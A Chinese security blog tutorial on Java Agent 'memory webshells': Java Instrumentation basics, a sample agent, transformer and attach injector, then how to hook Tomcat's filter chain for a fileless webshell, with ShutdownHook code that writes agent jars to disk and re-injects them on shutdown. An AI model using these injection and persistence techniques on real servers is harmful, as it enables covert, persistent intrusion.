JavaAgent型内存马基础
Java Instrumentation
java Instrumentation指的是可以用独立于应用程序之外的代理(agent)程序来监测和协助运行在JVM上的应用程序。这种监测和协助包括但不限于获取JVM运行时状态,替换和修改类定义等。简单一句话概括下:Java Instrumentation可以在JVM启动后,动态修改已加载或者未加载的类,包括类的属性、方法。
java agent技术原理及简单实现 - kokov - 博客园 (cnblogs.com)
什么是java agent?
IDEA + maven 零基础构建 java agent 项目 - 一灰灰Blog - 博客园 (cnblogs.com)
java agent本质上可以理解为一个插件,该插件就是一个精心提供的jar包,这个jar包通过JVMTI(JVM Tool Interface)完成加载,最终借助JPLISAgent(Java Programming Language Instrumentation Services Agent)完成对目标代码的修改。
java agent技术的主要功能如下:
- 可以在加载java文件之前做拦截把字节码做修改
- 可以在运行期将已经加载的类的字节码做变更
- 还有其他的一些小众的功能
- 获取所有已经被加载过的类
- 获取所有已经被初始化过了的类
- 获取某个对象的大小
- 将某个jar加入到bootstrapclasspath里作为高优先级被bootstrapClassloader加载
- 将某个jar加入到classpath里供AppClassloard去加载
- 设置某些native方法的前缀,主要在查找native方法的时候做规则匹配
Instrument
(32条消息) ClassPool CtClass浅析_罗小辉的专栏-CSDN博客
instrument是JVM提供的一个可以修改已加载类的类库,专门为Java语言编写的插桩服务提供支持。它需要依赖JVMTI的Attach API机制实现。在JDK 1.6以前,instrument只能在JVM刚启动开始加载类时生效,而在JDK 1.6之后,instrument支持了在运行时对类定义的修改。要使用instrument的类修改功能,我们需要实现它提供的ClassFileTransformer接口,定义一个类文件转换器。接口中的transform()方法会在类文件被加载时调用,而在transform方法里,我们可以利用ASM或Javassist对传入的字节码进行改写或替换,生成新的字节码数组后返回。

总之,transform返回值为需要替换的class的字节码。有两种方法获取字节码,一种使用文件读取的方式,直接读取相应class文件的字节码,还有一种使用Javaassist包,结合反射机制进行字节码的替换。
我们来看一下第二种的示例代码
SimpleAgent.java 作为Javagent去注入目标程序
import java.lang.instrument.Instrumentation;
import java.lang.reflect.Method;
import java.util.LinkedList;
import java.util.List;
public class SimpleAgent {
/**
* jvm 参数形式启动,运行此方法
*
* @param agentArgs
* @param inst
*/
private static String className = "com.company.BaseMain";
private static String methodName = "print";
public static void premain(String agentArgs, Instrumentation instrumentation) {
System.out.println("premain");
//instrumentation.addTransformer(new TestTransformer(className, methodName));
}
/**
* 动态 attach 方式启动,运行此方法
*
* @param agentArgs
* @param instrumentation
*/
public static void agentmain(String agentArgs, Instrumentation instrumentation) {
System.out.println("agentmain");
instrumentation.addTransformer(new TestTransformer(className, methodName),true);
try {
List<Class> needRetransFormClasses = new LinkedList<>();
Class[] loadedClass = instrumentation.getAllLoadedClasses();//获取所有加载的类
for (Class c : loadedClass) {
//System.out.println(loadedClass[i].getName());
if (c.getName().equals(className)) {
System.out.println("---find!!!---");
Method[] methods = c.getDeclaredMethods();
for(Method method : methods)
{System.out.println(method.getName());}
instrumentation.retransformClasses(c);
}
}
} catch (Exception e) {
}
}
}
TestTransformer.java 替换目标类的函数
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import javassist.Modifier;
public class TestTransformer implements ClassFileTransformer {
//目标类名称, .分隔
private String targetClassName;
//目标类名称, /分隔
private String targetVMClassName;
private String targetMethodName;
public TestTransformer(String className,String methodName){
this.targetVMClassName = new String(className).replaceAll("\\.","\\/");
this.targetMethodName = methodName;
this.targetClassName=className;
}
//类加载时会执行该函数,其中参数 classfileBuffer为类原始字节码,返回值为目标字节码,className为/分隔
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
//判断类名是否为目标类名
if(!className.equals(targetVMClassName)){
System.out.println("not do transform");
return classfileBuffer;
}
try {
System.out.println("do transform");
ClassPool classPool = ClassPool.getDefault();
CtClass cls = classPool.get(this.targetClassName);
System.out.println(cls.getName());
CtMethod ctMethod = cls.getDeclaredMethod(this.targetMethodName);
System.out.println(ctMethod.getName());
ctMethod.insertBefore("{ System.out.println(\"start\"); }");
ctMethod.insertAfter("{ System.out.println(\"end\"); }");
return cls.toBytecode();
} catch (Exception e) {
}
return classfileBuffer;
}
}
参考链接IDEA + maven 零基础构建 java agent 项目 - 一灰灰Blog - 博客园 (cnblogs.com),将他们打包。
编写测试程序
BaseMain.java
package com.company;
public class BaseMain {
public int print(int i) {
System.out.println("i: " + i);
return i + 2;
}
public void run() {
int i = 1;
while (true) {
i = print(i);
try {
Thread.sleep(1000);
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}
public static void main(String[] args) throws InterruptedException {
BaseMain main = new BaseMain();
main.run();
Thread.sleep(1000 * 60 * 60);
}
}
编写注入程序 attachwithjps.java
import com.sun.tools.attach.AgentInitializationException;
import com.sun.tools.attach.AgentLoadException;
import com.sun.tools.attach.AttachNotSupportedException;
import com.sun.tools.attach.VirtualMachine;
import java.io.IOException;
public class attachwithjps {
public static void main(String[] args)
throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
// attach方法参数为目标应用程序的进程号,命令行使用jps -l可以查看相关jvm的进程号
VirtualMachine vm = VirtualMachine.attach(目标应用程序的进程号);
// 请用你自己的agent绝对地址,替换这个
vm.loadAgent("E:/内存马/java-agent/target/java-agent-1.0-SNAPSHOT-jar-with-dependencies.jar");
vm.detach();
}
}
注入步骤:
- 运行被测试程序
- cmd 输入jps -l 查找目标进程号
- 运行attach程序
运行结果

web应用注入--tomcat
要在tomcat中选择类进行替换实现webshell,需要降低对url的依赖,在tomcat处理请求流程中选择最通用的类。
如internalDoFilter,调用了dofilter,在此之前可以插入代码对request和response作出操作。
具体代码参考rebeyond师傅的
利用“进程注入”实现无文件复活 WebShell - FreeBuf网络安全行业门户
但是,一旦重启tomcat,内存马就会消失,失去目标服务器的权限。要实现服务器重启后,仍能够维持权限,必须要在服务器关闭前将相关代码保存下来,在重启时自动加载。这里rebeyond师傅使用了ShutdownHook技术.
ShutdownHook是JDK提供的一个用来在JVM关掉时清理现场的机制,这个钩子可以在如下场景中被JVM调用:
1.程序正常退出
2.使用System.exit()退出
3.用户使用Ctrl+C触发的中断导致的退出
4.用户注销或者系统关机
5.OutofMemory导致的退出
6.Kill pid命令导致的退出所以ShutdownHook可以很好的保证在tomcat关闭时,我们有机会埋下复活的种子
相关代码
public static void persist() {
try {
Thread t = new Thread() {
public void run() {
try {
writeFiles("inject.jar",Agent.injectFileBytes);
writeFiles("agent.jar",Agent.agentFileBytes);
startInject();
} catch (Exception e) {
}
}
};
t.setName("shutdown Thread");
Runtime.getRuntime().addShutdownHook(t);
} catch (Throwable t) {
}
JVM关闭前,会先调用writeFiles把inject.jar和agent.jar写到磁盘上,然后调用startInject,startInject通过Runtime.exec启动java -jar inject.jar。
应用:在有能够进行命令执行的情况下,上传agent.jar与需要注入的jar。而后运行agent.jar对其进行注入即可。
JavaAgent型内存马基础的更多相关文章
- 6. 站在巨人的肩膀学习Java Filter型内存马
本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...
- 议题解析与复现--《Java内存攻击技术漫谈》(二)无文件落地Agent型内存马
无文件落地Agent型内存马植入 可行性分析 使用jsp写入或者代码执行漏洞,如反序列化等,不需要上传agent Java 动态调试技术原理及实践 - 美团技术团队 (meituan.com) 首先, ...
- Java安全之基于Tomcat的Filter型内存马
Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...
- Java Filter型内存马的学习与实践
完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...
- 针对spring mvc的controller内存马-学习和实验
1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...
- 简单学习java内存马
看了雷石的内存马深入浅出,就心血来潮看了看,由于本人java贼菜就不介绍原理了,本文有关知识都贴链接吧 前置知识 本次主要看的是tomcat的内存马,所以前置知识有下列 1.tomcat结构,tomc ...
- tomcat内存马原理解析及实现
内存马 简介 Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...
- 利用shiro反序列化注入冰蝎内存马
利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...
- Java安全之Spring内存马
Java安全之Spring内存马 基础知识 Bean bean 是 Spring 框架的一个核心概念,它是构成应用程序的主干,并且是由 Spring IoC 容器负责实例化.配置.组装和管理的对象. ...
随机推荐
- openswan协商流程之(四):main_inI2_outR2()
主模式第四包:main_inI2_outR2 1. 序言 main_inI2_outR2()函数是ISAKMP协商过程中第四包的核心处理函数的入口,同时在此处理流程中已经获取到足够的隧道信息,可以生成 ...
- redis存取数据Set
一.set集合无序不重复 二.存取数据 1. 2. 3. 4.set集合差集运算 找出并返回前面集合有后面没有的元素: 5.set集合交际运算 6.并集运算 sunion 7.随机弹出一个元素,因为s ...
- elasticsearch入门到放弃之elasticsearch-head
elasticsearch-head可理解为跟DBeaver一样是一个数据可视化工具,但是这个工具并没有理想中那么好用坑也是很多,我已经在我的github上fork了一份修改后的版本:https:// ...
- 项目需求分析与建议——NABCD模型
特点一:旧物再利用N:需求:在我们的校园生活中,会遇到许多自己用不到的东西例如,学过的课本.废置的闲置物品等,这些"废物"往往占据着许多空间却不能够发挥自身的价值,通过我们的校园二 ...
- 判断手机浏览器还是微信浏览器(PHP)
//判断是否 微信浏览器 function isWeixin1() { if (strpos($_SERVER['HTTP_USER_AGENT'], 'MicroMessenger') !== fa ...
- delete,drop,truncate 区别
今天看到一篇关于delete.drop.truncate区别的文章,认为写得非常好,转过来. 打比方很形象. delete,drop,truncate 都有删除表的作用,区别在于: 1.delete ...
- python学习笔记(一)-基础知识
O.解释型语言和编译型语言 编译型语言就是先把写好的程序翻译成计算机语言然后执行,就是所谓的一次编译到处运行,比如c.c++就是编译型语言,这样的语言特点是运行速度快,但是需要事先把程序编译好才可以. ...
- Win10删除电脑3D对象等7个文件夹
把下面几个注册表项依次删除掉 "图片"文件夹:[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Expl ...
- MyBatis Plus 批量数据插入功能,yyds!
最近 Review 小伙伴代码的时候,发现了一个小小的问题,小伙伴竟然在 for 循环中进行了 insert (插入)数据库的操作,这就会导致每次循环时都会进行连接.插入.断开连接的操作,从而导致一定 ...
- Gitee自动化部署python脚本
一.前期准备 1.1 安装环境 1.安装python3 2.打开命令行安装selenium pip install selenium 二.python代码 2.1 源码 #!/usr/bin/pyth ...